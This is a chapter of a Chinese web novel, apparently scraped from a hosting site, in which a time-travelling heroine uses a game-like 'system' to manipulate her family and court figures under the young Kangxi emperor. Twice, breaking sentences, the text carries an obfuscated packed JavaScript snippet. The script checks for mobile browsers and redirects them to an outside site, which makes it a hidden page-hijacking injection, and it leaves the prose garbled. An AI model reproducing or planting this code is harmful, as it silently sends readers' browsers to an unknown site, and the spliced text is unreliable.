内大臣佟国纲与领侍卫内大臣葛布喇同为坚定的保皇党,二人常在值岗时交换朝中情报,一同对抗鳌拜,在权臣给予的强大压力之下,结下了深刻的忘年交、战友情,系统监测到【保皇势力联结度】因此提升15%。但是,他没有适龄的女儿可以入宫。 佟国纲胞弟、一等侍卫佟国维之女苏完娜,年方九岁,眉眼间带着与姑姑相似的温婉,被送入慈宁宫抱厦,与其他勋贵之女一并在宫中教养。 此时的佟家,还不是佟佳氏,隶属汉军旗。 苏完娜初入宫那日,夏雨初歇。小姑娘攥着绣帕,怯生生地躲在苏麻喇姑身后。她家还未曾是煊赫的佟半朝,此时正是蛰伏期。 太皇太后见到她的瞬间,手中的佛珠“啪嗒”散落一地。 老人颤抖着将苏完娜揽入怀中,系统罕见地捕捉到【太皇太后情绪波动值:95%】——记忆里那个总在御花园采撷花朵的儿媳,仿佛透过眼前孩童重新浮现。 当她抬起头,露出与慈和皇太后七分相似的眉眼时,正在廊下练字的康熙,手中狼毫“啪嗒”坠入砚台,墨汁在洒金宣纸上晕开一片乌云。 系统立即弹出【康熙情绪波动值:89%】的红色预警,少年天子三步并作两步上前,却在触及太皇太后意味深长的目光后,生生收住脚步。 这一幕被一旁的钮祜禄萨琳瞧得真切,少女攥紧手指,腕间的翡翠镯子撞出清脆声响。 在额娘不厌其烦的叮嘱下,她已经懂事了,原以为凭借阿玛遏必隆的权势,只要打败赫舍里氏,自己能稳坐未来皇后之位,却不想半路杀出个与皇帝血脉相连、又生得温婉可人的表妹。好在,她姓佟。起了个满洲名字又如何,她还是个汉姓。 珠兰对苏完娜小姑娘不太感兴趣,倒是对萨琳的变化有些关注,她竟然是个会如此耳根子软的姑娘。按照系统剖析,她本该是清高自矜之态,可后面她母亲的影响,居然如此之大,生生改了人设。 若是有机会刷她的亲密度,将来必然是一张好用的牌。 当夜,系统监测到萨琳宫中【烛光持续时长:4.7小时】,次日她便以教习规矩为由,将苏完娜堵在角门:“妹妹可知,后宫最忌恃宠而骄?”话未说完,却见苏完娜红着眼眶低头行礼,模样委屈又乖巧,反倒显得她恃强凌弱。 纳喇玉宁倚在游廊栏杆上,望着萨琳仓皇离去的背影,轻蔑地哼笑一声。系统捕捉到她嘴角扬起的弧度,生成【鄙夷情绪浓度:76%】的数据。这位向来清高的少女轻抚着刻意养起来的指甲,对着身旁的塔娜与阿日娜苏嗤道:“这般沉不住气,倒像市井泼妇。” 一日大似一日,见家里人的次数多了,心思也都复杂了。 葛布喇也来了宫里,将索尼的意思告知了珠兰。 珠兰觉得哪里不对,看各方数据都没什么变化,便还是决定两个计划一起准备,优先计划b。 葛布喇走之前,似乎觉得自己阿玛的决定,是亏待了大女儿,便问大女儿将来所求。珠兰想了想,与她阿玛耳语了几句。葛布喇嘬牙花子,硬是答应了。 与萨琳无由来的莽撞教导形成鲜明对比的,是马佳诺敏一成不变的妥帖。 她捧着新制的酸梅汤寻来,见苏完娜坐在廊下抹眼泪,便轻声哄道:“这荷花酥最是解暑,配着酸梅汤是极好的,快尝尝。”说着将帕子递过去,指尖还带着熏香。 系统记录下她温柔的声线波动,【亲和力指数】瞬间攀升。在她的悉心照料下,苏完娜渐渐褪去初入宫时的怯懦,会追着蝴蝶嬉笑,也敢在请安时向太皇太后讨蜜饯吃。 慈宁宫的抱厦里,塔娜依旧与阿日娜苏形影不离。两个小姑娘蹲在花房浇水时,常能看见苏完娜提着裙摆小跑而来。 小姑娘还是喜欢同龄人,塔娜歪头打量她片刻,忽然伸手将自己编的草蚱蜢塞进她掌心:“喏,给你玩。”系统监测到【纯真友好度】的曲线稳步上扬,三个孩子的笑声惊起廊下白鸽,扑棱棱的翅膀声里,连空气都变得轻快起来。 珠兰则始终保持着恰到好处的距离,她教苏完娜辨认宫中花草时,总会耐心解释每种植物的习性,待她与阿日娜苏并无区别。当小姑娘们缠着要听故事,她便将前朝典故化作趣味传说,不偏不倚的都给讲。 每日卯时,苏完娜帮塔娜整理歪斜的绒花;未时习字,她的满文小楷工整娟秀,与萨琳的越发锋芒毕露形成鲜明对比。 暮色四合时,萨琳站在宫阶下,望着远去的几个快乐身影,指甲深深掐进掌心。她不知道,自己听从教导,但是慌乱间的每一次出招,都在无形中将旁人越推越远,更没察觉,那个始终云淡风轻的赫舍里珠兰,好似退出了争夺,才是这场无声较量中最莫测的变数。 珠兰一直看着萨琳,饶有兴致。 而此刻康熙顾不上理会萨琳的醋意,又或者是诺敏的体贴,他迷上了西学。每次来慈宁宫,都是会带上西洋星图——那些用陌生符号标注的星座轨迹,总让他想起汤若望案时,朝堂上关于日月运行的激烈争论。 彼时的乾清宫西暖阁,时常能捕捉到异常的能量波动。系统监测到康熙深夜翻阅《远镜说》时,【专注度指数】高达95%,烛火将少年的影子投在墙上,与书中描绘的伽利略望远镜轮廓重叠。 马佳诺敏在所有人之前,又一次体贴到了皇帝的兴趣,她特意让家人寻来传教士带来的自鸣钟模型,在苏完娜哭闹想家时轻轻启动机关。铜铃悦耳的报时声中,系统记录下【康熙关注值:+12%】的波动。 而珠兰对此乐见其成,皇帝爱西学符合她的利益。在教苏完娜辨认宫中花草时,她也会偶尔刻意提及《坤舆万国全图》里记载的异域植物,看着小姑娘眼中好奇的光芒,她知道这些不经意的引导,正悄然加深着康熙和他的后妃们对西学的向往。 某天,康熙又一次在御花园徘徊。系统显示他的脚步最终停在存放西洋仪器的库房外,指尖抚过冰冷的铜锁时,【求知渴望值】飙升至峰值。 此时的他尚不知晓,这些被保守派视为“洪水猛兽”的知识,将在未来成为他冲破旧制枷锁的利刃。 而太皇太后透过抄经堂的窗棂,将这一切尽收眼底,手中佛珠捻动的节奏未曾改变,却在系统中触发【帝王觉醒预估值】的微妙增长——她在等待,等待孙儿真正找到属于自己的治国之道。 某次康熙前来,本来是步履匆匆,要回去研究星图,但正撞见珠兰同苏完娜说故事,午后的阳光穿过雕花窗棂,在她们身上镀了层柔光。 少年天子恍惚间,仿佛又看见生母……系统突然跳出【记忆唤醒强度:82%】的提示——那早已模糊的温柔画面,竟在眼前两个少女身上,渐渐有了清晰的轮廓。 而太皇太后捻着佛珠,透过抄经堂的窗棂看着这一切,嘴角勾起一抹意味深长。 系统显示【后宫亲和度】持续上升,而珠兰看着苏完娜为康熙抄写的祈福经卷,敏锐察觉这抹温柔表象下,是佟家对皇权的新一轮渗透。 诺敏打听到康熙对西学的浓厚兴趣后,将当年汤若望的往事主动告知珠兰。 珠兰作为任务者,虽然对清朝还算了解,但对这段历史的认知存在盲区,当她得知这位德国传教士仍在北京,且精通历算、机械等西学知识时,立即做出决断。 她大手笔耗费5000观察点,通过系统影响父亲葛布喇的决策。很快,葛布喇以保护人才为由,亲自拜访汤若望的住所,不仅为其提供庇护,还挑选聪慧的本旗子弟作为学徒,送入汤若望门下研习数学几何、机械工程等学问。 其实,葛布喇正忙于部署宫廷防务,全然未察觉少年天子案头悄然增多的西洋典籍。 珠兰果断消耗大量观察点,通过系统向父亲隐晦提示——从御书房频繁借阅的西学书籍,到康熙在朝会时对钦天监奏报的异常关注,海量数据如涓涓细流,终于在葛布喇心中汇聚成认知的浪潮。 这位领侍卫内大臣开始在值岗间隙翻阅《几何原本》,羊皮手套摩挲着晦涩的满文译本,指尖在勾股定理的图示上反复描摹。 某次当值时,他试探性地向康熙提及书中的三角测量法,少年天子眼中骤然亮起的光芒,让系统瞬间弹出【君臣契合度+18%】的提示,亲密度终于开始增长。 少年天子,注重兴趣爱好的一致性,珠兰批注。扭头,她就给塔娜又添了一门课,康熙学什么,系统就教什么。因为学业压力的加重,很罕见的姐妹间的亲密有了短暂下滑。 与开外挂的葛布喇形成鲜明对比的是佟国纲,这位身经百战的武将即便被同僚提点了,面对复杂的几何图形时,粗粝的手掌连圆规都握不稳,只能尴尬地挠着后脑勺。 得知兄长的遭遇后,佟国维连夜拜访汤若望。青石板路上,他的官靴踏碎满地月光,怀中揣着的《西洋算法》硌得肋骨生疼。 但当传教士用浑天仪演示星象运转时,这位一等侍卫满脑子都是“这比行军布阵还难懂”的哀嚎。坚持半月后,佟国维望着算错的三角函数题,终于将几个年幼的侄子和儿子拎到汤若望面前:“您老费心,犬子们若能学出个模样,佟某必有重谢!” 孩子们还小,在哪里玩不是玩,现在也不是入旗学的时候。 汤若望看向平均四岁的几个孩子,有点头疼。 这场西学热潮很快蔓延至赫舍里氏家族,葛布喇将四弟、五弟推进汤若望家时,两个少年还在嘟囔着“好好的弓马不练,学这些洋玩意儿作甚”。 但当他们用圆规画出标准的同心圆,得到汤若望“孺子可教”的称赞时,心中竟生出别样的自豪。 他们都是文武不成的角儿,当兵吃不了苦,学文没那个脑子,在家没少挨骂。 消息传到索尼耳中,老狐狸转动着翡翠扳指沉默良久,最终对着书房外候命的四子、五子淡淡开口:“跟着你大哥,莫要落下。” 汤若望案的阴霾尚未散尽,这些身着箭袖的学习者们,却已在经纬线与方程式中,悄然架起了东西方文明沟通的桥梁。 珠兰透过系统注视着这一切,看着【西学传播指数】稳步攀升,她知道,这些被精心培育的火种,终将在未来的某一天,点燃整个帝国对新知的渴望。 最重要的是,“涟漪”级的能量结晶到手五块。看来,送去汤若望府上的,有几个重要但又不太重要人物被改了命运,而未来不出意外他们的存在是有益于世界发展的。 朝中,每当保守派官员杨光先等人弹劾“西洋奇技淫巧”的奏折送达,【决策犹豫值】便会随着皇帝反复摩挲书页的动作剧烈波动。 这种矛盾在孝陵竣工那日达到顶峰,当钦天监官员用传统历法推算祭祀时辰出现偏差时,康熙望着天坛上空的星斗,眼底闪烁着与年龄不符的深思。 而珠兰大手笔动用观察点的后遗症,大概就是让葛布喇在朝中喷鳌拜一党的口水喷洒的更均匀了,完全到了为了反对而反对的地步,私下里鳌拜全当这个赫舍里的长子是个疯狗。 六月,顺治帝孝陵竣工。 黄瓦红墙在烈日下泛着刺目的光,系统监测到陵区方圆十里内能量异常紊乱。 康熙率领辅臣行奉安大典那日,当慈和皇太后的梓宫缓缓沉入地宫,天空突然降下太阳雨,雨滴落在孝陵宝顶上蒸腾起白雾。 此后的日子里,仁宪皇太后愈发谨小慎微。 她亲手制作的桂花糕要经过三道查验才能送到乾清宫,就连与康熙见面的时辰,都要由太皇太后钦定。 某个月圆之夜,系统突然弹出【太后孤独指数:91%】——这位看似尊贵的太后,正用绣花绷子上密密麻麻的针脚,掩盖着深宫中无人诉说的寂寥。从草原来的她,已经到了用慈和曾经最爱的刺绣打发时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15702616|173504||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 间的地步了。 珠兰记得,这位太后,寿命不短的。 而朝堂之上,鳌拜的蟒袍愈发鲜亮,他在正阳门经过时扬起的马鞭,正无情地抽打着少年康熙尚未稳固的皇权。 赫舍里府,东院。 正房内的铜香炉飘着淡淡的安息香,佟佳穆舒斜倚在铺着软缎的榻上,看着丈夫解下腰间佩刀,金属碰撞声在寂静的室内格外清晰。 葛布喇的玄色常服上还带着宫墙的寒气,鬓角却已染了星点霜白。 “今日回来得早。”她声音轻得像一片羽毛,抬手想为他拂去肩上的落絮,却被一阵咳嗽打断。 葛布喇快步上前扶住她,掌心的温度透过锦被传来,带着常年握刀的薄茧。 他沉默地倒了杯温水,看着妻子喝下,目光扫过她日渐清减的面容时,眼底才掠过一丝极淡的波澜——那更像是对待一件需要呵护的器物,而非相伴多年的妻。 这,便是他们相处的常态。 自葛布喇崭露头角,得到顺治的赏识,“忠君”二字便如烙印般刻入他骨髓。 系统监测到他的【欲望阈值】持续走低,酒色财气的需求曲线早已趋近于零。珠兰觉得,这应该也是一种副作用,越发不肯把属性点加自己身上。 阿玛的三继福晋曾试探着提及给他纳妾绵延子嗣,被他挡了回去。 自己的三继福晋佟佳穆舒也曾拿出娘家送来的清秀丫头,他却只让那丫头去洗衣裳,自始至终未多瞧一眼。 “前儿额娘打发人来,说相看了个不错的姑娘……”佟佳穆舒声音渐弱,看着丈夫瞬间挺直的脊背,便知又要遭拒。 果然,葛布喇将茶盏轻轻放在案上,发出清脆的声响:“福晋身子要紧,这些事不必挂心。我葛布喇有妻有女,已是圣上恩赐,何需旁的?”他的语气平淡,带着不容置疑的坚定。 佟佳穆舒望着他棱角分明的侧脸,忽然想起新婚时他也曾有过少年意气,会在月下为她披上斗篷。 可如今,那份情意早已被忠君的信念消磨成亲情的温吞。 她知道,丈夫心中装的是江山社稷,是那个需要他用性命护卫的少年天子,至于这深宅后院的儿女情长,不过是他忠忱之外的边角余料。 “去书房吧。”她终究是叹了口气,挥了挥手。 葛布喇转身时袍角带起一阵风,吹得香炉里的火星簌簌落下。 门被轻轻合上,佟佳穆舒望着空荡荡的房间。 家,是赫舍里葛布喇忠君路上的注脚,而她,不过是这注脚里一个沉默的符号。 窗外的月光透过窗棂洒进来,锦被滑落时露出腕间嶙峋的骨节。她望着头顶绣着百子图的床顶,思绪不由自主飘向膝下的四个儿女。 接连孕育两子两女的艰辛,早已在她身上刻下无法磨灭的痕迹。 长女珠兰七岁便能持家理事,将府中庶务打理得井井有条。次女塔娜尚带着孩童的天真,却也懂得在她咳嗽时捧着蜜饯罐候在床边。 只是想到两个尚在总角之年的儿子,她的心便像被细针扎着般隐隐作痛——长子刚满五岁,次子才三岁,正是需要父亲引导的年纪,可葛布喇一门心思扑在朝堂,连儿子们的身体都鲜少过问。 珠兰临走前把管事妈妈都换了个遍,张嬷嬷管库房,李嬷嬷管账,都是她带来的老人,原来不省心的,叫珠兰管了过来,如今倒是省心。长女入宫前的周全安排,让她在病中少操了许多心。 塔娜自小跟在珠兰身边,性情也随了姐姐,有珠兰照拂,她并不担心。 可两个儿子呢?葛布喇总说“忠臣之后自当忠君”,却从未想过为他们铺就仕途。 佟佳穆舒望着帐幔上绣错的那针线脚,想起前日长子在书房摔了砚台,被葛布喇罚跪时倔强的模样——那孩子性子随了父亲的耿介,却少了父亲的沉稳。 她唯有指望珠兰,若能从宫里出来,即便只是嫁个寻常人家,凭着赫舍里氏姑奶奶的身份,也能在暗中照拂弟弟们。 葛布喇岁数大了,两个儿子那么小。 若是有个万一,以后他们就要跟着叔叔过日子。 “若是珠兰能常回家看看...”她喃喃自语,指尖绞着锦被的流苏。 女儿在宫中的消息总是零碎而模糊,唯有送东西的太监偶尔传回只言片语,说珠兰得太后喜爱,又说她与几位格格相处和睦。这些话听着是好,可深宫似海,她如何能不忧心? 更夫敲过二更的梆子,远处传来葛布喇书房隐约的声响。佟佳穆舒闭上眼睛,感受着身体里散发出的倦意,脑海里却反复描摹着珠兰嫁人的场景——不必嫁得多显赫,只需寻个安分守己的人家,能常回府看看,能在她百年之后,替她照看好这两个尚不懂世事的弟弟。 这念头像株藤蔓,在寂静的夜里悄悄生长,缠绕着她每一次微弱的呼吸。 珠兰斜倚在窗前,系统突然跳出【穆舒体质监测】的红色警告。她看着母亲气血值曲线断崖式下跌的三维模型,眉目低垂。 当年,为了让佟佳穆舒顺利诞下男丁,巩固葛布喇在赫舍里家的地位,她将100观察点导入母亲体内。 生产确实顺利了,可母亲的身体却像被透支的烛芯,从此便缠绵病榻。 大弟常泰满周岁时,她曾尝试用5观察点改善他的体质,结果孩子当晚就发起高烧,太医诊脉时只说是“急惊风”,却查不出根本病因。 二弟常海出生时,她又试验了一次,发现幼崽难以承受观察点,约等于虚不受补。 如今两个孩子,既没有过目成诵的神童传闻,也没有显赫的外祖家撑腰,只能在葛布喇“忠君即可”的教导下懵懂成长。 系统适时调出【赫舍里氏子嗣能力值】面板,两个弟弟的各项数值都在平均线徘徊,唯独【执拗值】高出常人——那是葛布喇血脉里的耿介。 8. 岁暮宫闱 康熙二年腊月廿三,太皇太后给了假,放格格们回家看父母。 一大早葛布喇就接了两个女儿出来,珠兰扶着塔娜坐进铺着狐裘的车厢,鼻尖萦绕着父亲身上熟悉的皂角香。 车帘掀开又落下的瞬间,她瞥见父亲鬓角新添的霜白。 赫舍里府的垂花门挂着崭新的红绸,珠兰与塔娜先去正房拜见祖父与祖母。 索尼靠在紫檀榻上,目光在她俩身上转了转,便示意她们去东院看母亲。祖母大佟佳氏,一言不发,只是慈祥地看着她们。亲密度不足,没什么好聊的。 穿过抄手游廊时,塔娜攥着她的手直晃:“姐姐你看,梅花开了!” 珠兰却盯着廊下扫雪的仆妇——都是她入宫前换过的老人,动作麻利,眼神里透着忠心,属性点很稳定,没有因为她入宫时间长了而衰减。 祖父母的亲密度难刷,家生子的忠诚度却不算难。 扭头四个大丫头迎了上来,一齐行礼,塔娜欢呼一声,“吉雅、禄雅、富春、寿春,快快起来。” 珠兰微微颔首,四女起身。 吉雅与禄雅错后两步,小声说起府中事。珠兰在宫中,通信不便。但从系统上看几个丫头仆妇的数值变化,大致就能知道府中无大事。果然两个大丫头上来,还是那些鸡毛蒜皮,三言两语就罢了。 塔娜一手一个,拉着两个膀大腰圆的丫头,一会儿问鹦鹉,一会儿问哈巴狗。她虽然养动物没有长性,喜欢也是一会儿一变,但从不会弃养。富春与寿春诺诺应着,与二格格细细说着。 佟佳穆舒斜倚在暖炕上,见女儿们进来,挣扎着要起身。 珠兰快步上前扶住,触到母亲手背的冰凉时,系统【佟佳穆舒生命能量】的数值条骤然跳动。 “宫里赏了新茶,给您尝尝。”珠兰将随身茶罐推到母亲手边,计算模型在脑中飞速运转:涟漪级结晶上缴50%能量是死线,剩余部分需预留40%应对突发任务,20%用于维持系统基础功能,至于修复母亲身体所需的30%……她垂眸看着母亲因咳嗽而起伏的肩头,暂时不急。 佟佳穆舒拿起茶罐端详,絮絮说起两个儿子:“常泰顽劣,常海身子弱,日后还得靠你……” 话音未落,常泰已拽着常海跌撞进来。身后还跟着个虎头虎脑的小男孩——正是与常泰同岁的六叔法保。这孩子比常泰更显活泼,一进门就熟稔地拉住塔娜的手:“塔娜,宫里有没有会响的花炮?” 五岁的常泰仰着红扑扑的脸蛋要抱,三岁的常海却躲在乳母身后,小手指绞着衣襟上的盘扣。 塔娜笑着拉起常泰的手:“姐姐带你们放爆竹去!”趁机捏了捏六叔法保的脸,三人闹哄哄地跑向庭院。常海怯生生地看了看大人,见母亲点头,便也跟了过去。 常泰好武,常海喜静。系统自动调出两人的属性面板:【常泰:武力值65,智力值48】、【常海:武力值32,智力值61】。 母亲的咳嗽声从身后传来,继续絮叨着,让珠兰这个大姐务必照顾两个弟弟。 珠兰没有回头,只是从发髻上取下一支碧玉簪——那是入宫前母亲塞给她的护身符,此刻被她捏在掌心,玉质的凉意在指腹蔓延,却激不起半分情绪波澜。 窗外传来塔娜的笑声与鞭炮脆响,珠兰望着窗棂上的冰花,计算着回宫的时辰。 此时外面传来脚步声,四叔柯尔坤与五叔心裕一前一后进了院门,两人十四五岁的年纪,锦袍上还沾着学堂的墨香。 葛布喇进屋叫了珠兰出去,让穆舒好生休息。他晓得妻子准是又与大女儿絮叨了,拍了拍珠兰的手。 珠兰将发簪重新插上,安抚了母亲两句,让她放心,便与父亲一起出去见两位叔叔了。 “听闻珠兰、塔娜归府,我们特意告假回来。”柯尔坤晃了晃手中的黄铜圆规,心裕则捧出个木盒,里面是几册线装的几何图册,“这是汤若望神父译的《测量法义》,送你们做新年礼。” 葛布喇打量了弟弟们几眼,见他们眼眸清明,礼物也带的还算合适,此刻归家,应该也不像是要寻机会出去找乐子,微微点了点头。 自打送了两个弟弟去汤若望处,族中老人便没少非议。所言多半是因自己与弟弟们皆不同母,涉及到爵位传承,老人们怕自己是有心把弟弟,尤其是继母所生的老五、老六养歪了。可算佟佳氏没落,舅家无人,才少了一重聒噪。 他们哪里知道,这两个小兔崽子,连三弟十分之一都赶不上,每日浑浑噩噩的,与一众纨绔厮混,还不如送去学画图,以后备不住能进工部寻个正经差事。家中阿玛的爵位,他是不要的,照着老规矩,都给继母生的两个幼子便是。这事儿已经跟阿玛说开了,继母也清楚。老五老六,继母都放心让他安排。 至于老四,老三带着长大的,也听话着呢。他就是跟着老五这个没成算的瞎胡闹,让老三把人提溜回来跟他讲明白道理,他就知道是为他好了。 葛布喇的声音带着惯常的沉稳,目光落在两个弟弟身上时却多了分叮嘱,“学几何算术是为了长本事,可不许跟着汤若望他们做礼拜,忘了自己是满洲子弟。” 柯尔坤挠了挠头,心裕则小声辩解:“汤神父总在讲几何时穿插《圣经》故事,说天主创世用了七日……” “天主创世?”葛布喇眉头一皱,还未开口,柯尔坤已抢着接话:“他说天主第一日造光,第二日造空气,可光的传播速度、空气的成分都没讲清楚,这不符合数理逻辑。”心裕跟着点头,指着桌上的铜镇纸:“就像这十字架,三点确定一平面,造型力学上并不稳定,怎么能当信物?” 珠兰的目光在两人身上顿住,相较于常来常往的小叔法保、病榻上的母亲与年幼的弟弟,这两位在传教士处接触西学的叔叔显然更具“收益价值”。而且,不知最近父亲是做了什么,竟让两个叔叔爱屋及乌下,对她的亲密度也迅速突破了60。 系统面板自动展开【柯尔坤-心裕能量转化率】:数理类属性干涉可产生300%能量反馈,远超家族其他成员。 她不动声色地迎上去,亲手接过两位叔叔的礼物,系统内两人的【数学感知】【逻辑建模】两项属性值被强行拉高20个百分点,【物质决定意识】属性被强制植入核心思维模型。 刚才还笑着谈论《圣经》故事的柯尔坤,忽然皱眉盯着窗棂的直角:“这榫卯结构的角度……” 心裕看着烟花,手指在空中勾勒抛物线。 两人连葛布喇沉声的训诫都置若罔闻——系统面板上【神学兴趣值】【宗教接纳度】正以肉眼可见的速度暴跌,【数理研究时长】则飙升至每日14小时,【玩乐欲求值】【社交需求值】最终定格在个位数。 “四叔、五叔在想什么?”塔娜端着糖糕回来,见两人对着窗纸发呆,不由得好奇发问。姐姐茶房的糖糕都跟发面饼子似的,没滋味儿,管饱。她尝了一块,就不想吃了。可是吉雅那眼神儿湿漉漉的,让塔娜不忍心说不好吃,只好端了过来,给大家吃吧。 心裕猛地回神,却没接糖糕,而是抓起几何图册翻找:“我在想汤神父说的椭圆轨迹……” 柯尔坤则径直走向书桌,抓起炭笔在纸上狂草公式。 葛布喇看着两个突然变了性子的弟弟,眼中满是困惑,浓眉紧锁却没再说话——在他看来,只要不沾染上“洋教”,沉迷算术几何总比走马斗鸡强。 珠兰却微微勾起唇角,从盘子里捡了一块糖糕,送进嘴里——从走马斗鸡的纨绔子弟,到沉迷数理的“狂人”,这枚能量结晶的投入,必将有超出预期的回报。这糕,跟馒头似的,一准儿是吉雅做的。 窗外的鞭炮声还在继续,她一边啃着糖糕,一边看着柯尔坤用圆规在青砖上画抛物线,心裕蹲在一旁用算盘推演圆周率,系统面板上【能量获取速率】的数值条正欢快地跳动。 母亲的咳嗽声、弟弟们的玩闹声、甚至父亲与祖父的交谈声,都被她隔绝在意识之外——在她的精准计算中,这两位叔叔已从“家族子弟”变成了“纯理性能量源”,他们对数理知识的偏执追逐,将化为她为时空局获取更多能量的坚实筹码。 涟漪级的能量结晶冷硬,正如她此刻的心境——在时空局的任务优先级与所谓的亲情之间,从来不存在犹豫的余地。 母亲的病体、常泰的顽劣、常海的怯懦,不过是需要纳入全局规划的变量。只有可量化的收益,才是唯一真实的存在。 夜间第一片雪花落上乾清宫鎏金宝顶时,葛布喇正带着侍卫们核查宫门禁牌。今日白天回家,耽误了差事,晚上找补回来。 他伸手拦住一名路过的二等侍卫,指尖在对方腰牌的包浆处轻轻一叩,沉声道:“今日乾清宫西暖阁的炭火,是谁负责添置?” 那侍卫被他锐利的目光扫过,下意识挺了挺腰板:“回大人,是末将属下的三等侍卫图苏理。” “图苏理?”葛布喇翻开手中的值守名册,指尖在泛黄的纸页上快速划过,“上月他当值时,曾把熏笼灰撒在《帝鉴图说》上,这事你忘了?” 侍卫额头瞬间渗出细汗,葛布喇却突然放缓语气:“念在他是初犯,今日让他去惜薪司领三斤上好红罗炭,若再出差错,就去慎刑司领二十板子。” 此事在侍卫中传开,大家都对葛布喇大人敬畏加深,这样细致且记性好的上官糊弄不了。 葛布喇系统面板上【下属敬畏值】随之波动,【年节安保指数】攀升至87%。珠兰翻了个身,没醒。 原本,是乾清宫当值的殿内太监负责日常炭火添加。每日清晨由司房太监领取炭盆,点燃后置于皇帝御座附近,随时根据温度调整用量。乾清宫冬日炭火需“随灭随添,不得空盆冷殿”。 但是太皇太后有令,将乾清宫炭火之事也交给了领侍卫内大臣葛布喇,交代务必小心谨慎。 顾问行这个乾清宫首领太监,职权被剥夺,什么都不敢说。前车之鉴不远,他的头低的不能再低。 太和殿前的雪地上,葛布喇踩着积雪走向值岗的护军校。他蹲下身拨开侍卫靴底的冻泥,指着鞋底磨损最严重的部位:“神武门到乾清宫的甬道,石缝里嵌着块三角棱石,你们换岗时若踩在第三块青砖的东南角,准会崴了脚踝。” 说着从袖中摸出块蜂蜡,“把这涂在靴底,明早寅时换班就不怕滑了。” 几个年轻侍卫面面相觑,葛布喇大人怎么连这都知道,而且居然会关心到他们这些小人物身上。系统捕捉到他们瞳孔中闪烁的【信服度提升】光芒,兢兢业业地记录。珠兰,继续睡。 随着葛布喇的行动,系统逐渐能够观测记录到乾清宫大部分侍卫的具体数据。这些侍卫来自八旗精英家庭,日后的前程都差不了,显然里面会有珠兰可以用的到的。 当值的二等侍卫穆成额捧着查完的腰牌匣跟在身后,葛布喇忽然驻足转身,“你家小儿子的皮疹可好了?” 穆成额闻言猛地抬头,积雪从头盔边缘滑落,“回大人,昨儿个太医说已过了危险期,还、还多亏大人前日差人送来的牛黄...” 葛布喇摆摆手,将一只暖手的铜炉塞进他掌心,“后半夜风紧,轮值时多喝些姜汤。” 系统记录下这瞬间的能量波动,【团队凝聚力指数】悄然上涨12个百分点。珠兰揉了揉耳朵,睡得很安稳。 核查到景运门时,葛布喇突然停在一盏走马灯前。灯影里转动的三国人物中,关羽的青龙偃月刀缺了个角。 他摘下手套轻轻抚摸灯壁,对随行的侍卫统领低声道:“把造办处新来的刘姓匠人叫来,让他照着万历年间的样式修补。” 康熙朝首任总管内务府大臣之一为索尼,但实际因辅政大臣主理朝政,内务府日常事务多由其下属的包衣官员,也就是各司郎中具体执行,核心权力仍归于皇帝或者太皇太后。 遵太皇太后之命,葛布喇用内务府的匠人,就跟用手底下的侍卫差不多。 见统领面露疑惑,又补充道:“太皇太后正月十五要在乾清宫赏灯,若让老祖宗瞧见这残缺,怕是要想起顺治爷当年...”话未说完,系统已弹出【细节掌控力:91%】的评估数据。如果珠兰此刻醒着,一定会着重把这行记下来,葛布喇扣细节扣的有点神经病了快。 雪粒子打在铠甲上沙沙作响,葛布喇解下自己的狐狸毛披风,披在一个冻得瑟瑟发抖的小侍卫肩上。 “记住,”他指着远处宫墙上巡逻的哨兵,对统领说:“当值时若发现同僚跺脚取暖,别忙着训斥——把他派去看守库房,那里的毡帘能挡些风。”系统监测到周围侍卫的呼吸频率同步放缓,【御下之道评分】在雪幕中升至历史峰值。 这位领侍卫内大臣呵出的白气在凛冽的空气中凝结成雾,与太和殿檐角轻响的铜铃、远处景山万春亭传来的更鼓应和。 当他转身走向乾清宫时,身后的侍卫们站姿愈发挺拔,靴底涂过蜂蜡的脚步声在雪地上格外沉稳——那是被精准调度的忠诚,正随着漫天飞雪,悄然渗入这座庞大宫城的每一道缝隙。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“罢罢罢,”佟国纲松开手,从怀里掏出个鎏金暖炉塞进他掌心,“明儿个我让厨子炖了鹿肉羹,您就算不为自个,也得为赫舍里家的小子们保重身子。”这老哥的暖炉,指不定是给谁了,一天天的不够他往外送的。赤金的供不起了,给鎏金的吧。 葛布喇“嗯”了声,目光却飘向远处巡逻的侍卫队,手指无意识地在暖炉上敲打——那是在默算各宫门换岗的时辰。 系统突然迸出蓝光,珠兰在梦中看到【葛布喇健康指数】的红色曲线正以肉眼可见的速度下滑,从昨日的68骤降至59,每跳动一次都伴随着系统警报的蜂鸣。 她指尖掐进掌心——不是心疼,而是一种任务者特有的精准计算:父亲葛布喇是她链接外朝保皇势力的关键节点,这根线绝不能断。 “系统,”她在意识中冷声下令,“启动生物能量干预程序。将葛布喇健康指数强制锚定在60,误差不超过±2。” 无数常人看不到的能量流顺着宫墙阴影蔓延,渗入葛布喇的甲胄缝隙。 正在咳嗽的领侍卫内大臣猛地挺直腰板,原本涌上喉头的腥甜感竟奇迹般退去,取而代之的是一种异样的亢奋,像被冰水浇头般清醒。 还得是葛布喇□□,身体受得住。 佟国纲看着葛布喇突然亮起来的眼睛,忍不住又道:“老哥哥,您这脸色咋看着比刚才还精神了?”这是又想起哪句太皇太后的教导了不成?自己这个皇帝舅舅,都没这个劲头儿,葛布喇到底受了爱新觉罗多少大恩啊。太皇太后这么用人,是打算把葛布喇老哥累死在他阿玛前头不成。 葛布喇抹了把嘴角,指尖触到的只有冰冷的雪沫——方才那丝血仿佛是错觉。 他只觉得胸腔里烧着团火,连日操劳的疲惫感消失得无影无踪,连说话的声音都提高了八度,“我说了没事!倒是你,昨儿个查崇文门税关时,可发现什么猫腻?” 